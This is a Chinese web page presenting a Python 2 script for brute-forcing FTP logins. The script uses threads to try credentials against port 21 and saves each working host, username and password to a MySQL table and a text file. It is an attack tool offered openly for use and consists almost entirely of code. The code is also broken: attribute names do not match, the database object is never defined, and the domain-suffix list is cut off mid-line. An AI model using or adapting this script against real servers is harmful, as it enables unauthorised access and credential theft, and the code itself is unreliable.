Python FTP爆破脚本
#!/usr/local/bin/python#-*- coding: UTF-8 -*-
####################################################################
#qq:316118740
#BLOG:http://hi.baidu.com/alalmn
from ftplib import FTP
import time
import threading
import socket
socket.setdefaulttimeout(10) #设置了全局默认超时时间
####################################################################
#要添加这个 检测过程充分考虑了部分FTP Server的错误阈值 要写上去
#def ftp_open(host,user,passwd,port=21): #打开FTP
# try:
# ftp = FTP(host)
# ftp.connect(host,port) #连接 服务器名 端口号
# ftp.login(user,passwd)
# ftp.quit() #ftpB.quit() #退出ftp服务器
# return 1
# except:
# return 0
def mysql_select2(data): #模糊查询
try:
i=0
n = mysql.cursor.execute(data)
mysql.cursor.scroll(0)
for row in mysql.cursor.fetchall():
#print '%s-%s-%s'%(row[0],row[1],row[2])
#return row[0]
if i>=5:
return i
i=i+1
return 0
except:
return 0
class ftp_open(threading.Thread):
def __init__(self,cond,host,user,pwd):
super(ftp_open, self).__init__()
self.Chost=host
#self.Cport=21
self.Cuser=user
self.Cpwd=pwd
def run(self):
ftp = FTP()
try:
#ftp = FTP(self.Chost)
ftp.connect(self.Chost,21) #连接 服务器名 端口号
ftp.login(self.Cuser,self.Cpasswd)
#ftp.quit() #ftpB.quit() #退出ftp服务器
##############################
print u"\nIP:",self.Chost,u"用户名:",self.Cuser,u"密码:",self.Cpasswd,u"连接成功"
# sqlA="select * from ftppassword where IP='%%%s'"%self.Chost
# if mysql_select2(sqlA): #模糊查询
# print self.Chost,u"域名下已经有5组密码了不进行天际",
# return 0
sql = "insert into ftppassword(IP,user,password,time) values('%s','%s','%s','%s')"%(self.Chost,self.Cuser,self.Cpasswd,time.strftime('%Y.%m.%d-%H.%M.%S'))
#print sql
mysql.mysql_insert(sql) #添加到数据库
mysql.mysql_S() #保存数据
#文件的写入 测试
xxx=file('123.txt','w')
xxx.write(self.Chost)
xxx.write(self.Cuser)
xxx.write(self.Cpasswd)
xxx.write(time.strftime('%Y.%m.%d-%H.%M.%S'))
xxx.write('enter\n')
xxx.close()
ftp.quit() #退出ftp服务器
# try:
# ftp.quit() #退出ftp服务器
# except:
# print u"ftp_open-FTP退出异常-1",
# ftp.close()
##############################
return 1
except:
print u".",
ftp.quit() #退出ftp服务器
# try:
# ftp.quit() #退出ftp服务器
# except:
# print u"ftp_open-FTP退出异常",
# ftp.close()
return 0
####################################################################
def get_sdomain(domain): #域名拆解baidu.com/" data-ke-src="http://www.baidu.com->baidu.com">www.baidu.com->baidu.com
suffixes = 'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc', 'cd', 'cf',
补充:综合编程 , 安全编程 ,